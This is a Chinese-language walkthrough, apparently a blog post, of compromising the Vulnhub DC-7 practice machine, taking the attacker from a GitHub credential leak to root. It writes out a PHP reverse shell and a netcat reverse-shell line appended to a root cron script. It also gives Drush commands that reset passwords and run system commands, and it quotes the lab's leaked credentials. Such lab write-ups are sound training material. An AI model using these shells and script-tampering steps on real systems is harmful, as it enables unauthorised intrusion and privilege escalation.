从零到Root:DC-7靶机渗透中的非典型路径探索
本文详细解析了Vulnhub DC-7靶机的非典型渗透路径,从GitHub信息泄露到Drush命令的创造性利用,最终通过定时任务实现优雅提权。文章强调了逻辑推理和创造性思维在渗透测试中的重要性,为安全爱好者提供了实战经验和技术洞察。
从零到Root:DC-7靶机渗透中的非典型路径探索
在渗透测试领域,Vulnhub的DC系列靶机一直以设计精巧著称,而DC-7更是其中需要"跳出思维定式"的典型代表。与常规靶机不同,它摒弃了暴力破解的捷径,迫使测试者必须像真正的红队成员那样,通过逻辑推理和创造性思维来发现系统弱点。本文将带你体验一场充满技术趣味的"数字侦探"之旅,从GitHub信息泄露到Drush命令的非常规利用,最终通过定时任务实现优雅提权。
1. 靶场环境与初始侦察
DC-7靶机的设计理念强调"逻辑漏洞优于暴力破解"。官方描述明确提示:"如果你需要诉诸暴力或字典攻击,你可能不会成功"。这种设定模拟了现实世界中防护措施完善的企业环境,传统的爆破手段往往触发防御机制而失效。
环境准备阶段需要注意几个关键点:
- 推荐使用VirtualBox而非VMware,避免潜在的兼容性问题
- 网络模式建议选择NAT(共享)而非桥接,减少干扰
- 靶机默认IP通常位于192.168.x.x段,可通过
arp-scan -l快速定位
初始扫描使用组合命令能获取更全面信息:
nmap -sS -sV -A -p- 192.168.56.108
扫描结果通常显示开放22(SSH)和80(HTTP)端口,运行着Apache服务和Drupal 8 CMS。值得注意的是,常规目录扫描工具如dirsearch可能收获有限,这正是第一个思维陷阱——测试者需要寻找非典型入口点。
2. 突破常规的信息收集
传统Web渗透往往从目录枚举和漏洞扫描开始,但DC-7的设计者特意在这些常规路径设置了障碍。此时需要采用"人肉侦察"方式:
- 页面细节分析:仔细检查网站每个角落,在页脚发现"@DC7USER"字样
- 外部信息关联:通过Google搜索该用户名,定位到关联的GitHub仓库
- 代码审计:在仓库config.php中发现数据库凭证
dc7user/MdR3xOgB7#dW
关键转折点在于这些凭证无法直接登录Web后台,却能通过SSH建立连接。这种设计模拟了现实中开发人员在不同系统重复使用凭证的安全隐患。连接后执行ls -la会发现两个关键线索:
/var/mail/dc7user:包含定时任务执行记录/opt/scripts/backups.sh:root定期执行的备份脚本
3. Drush命令的创造性利用
在获取初始立足点后,传统做法是立即寻找提权路径。但DC-7的巧妙之处在于需要先横向移动。通过分析备份脚本,我们发现关键工具Drush(Drupal Shell)的存在:
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
Drush的非常规用法包括:
- 密码重置:
drush user-password admin --password="newpass" - 用户创建:
drush user-create attacker --password="p@ssw0rd" - 执行PHP代码:
drush php-eval "system('whoami');"
当遇到管理员账户被锁定情况时(常见防护措施),可使用特殊命令清除锁定状态:
drush php-eval 'db_query("DELETE FROM flood");'
4. Web到系统的攻击面扩展
通过Drush获取管理员权限后,传统方法是直接上传Webshell。但Drupal 8的安全机制要求:
- 需先安装PHP Filter模块(官方已下架,需从归档站点获取)
- 在
/admin/modules启用该模块 - 创建Basic Page内容时选择"PHP code"文本格式
反弹Shell的进阶技巧:
<?php
$sock=fsockopen("192.168.56.102",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
获取Shell后需立即升级为完全交互式终端:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
5. 定时任务提权的艺术
最终提权阶段展现了DC-7最精妙的设计。通过分析邮件日志(/var/mail/dc7user)可发现备份脚本每15分钟以root身份运行。但直接修改脚本会遇到权限问题:
ls -l /opt/scripts/backups.sh
-rwxr-xr-- 1 root www-data 637 May 15 2019 backups.sh
优雅的提权路径:
- 确认当前用户属于www-data组
- 在脚本尾部追加反向Shell命令
- 在攻击机设置监听端口,静待执行
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 7777 >/tmp/f' >> /opt/scripts/backups.sh
这种提权方式模拟了现实中运维脚本被篡改的安全风险,相比传统的SUDO或SUID提权更为隐蔽。最终在/root目录可找到标志性的flag文件,完成整个渗透过程。
DC-7靶机通过层层设计的挑战证明:真正的安全测试不在于工具的使用,而在于思考问题的方式。从GitHub信息泄露到定时任务利用,每个环节都考验着测试者的观察力和创造力。这种非典型路径的探索,正是现代渗透测试从"工具小子"转向"安全侦探"的典型体现。
更多推荐
所有评论(0)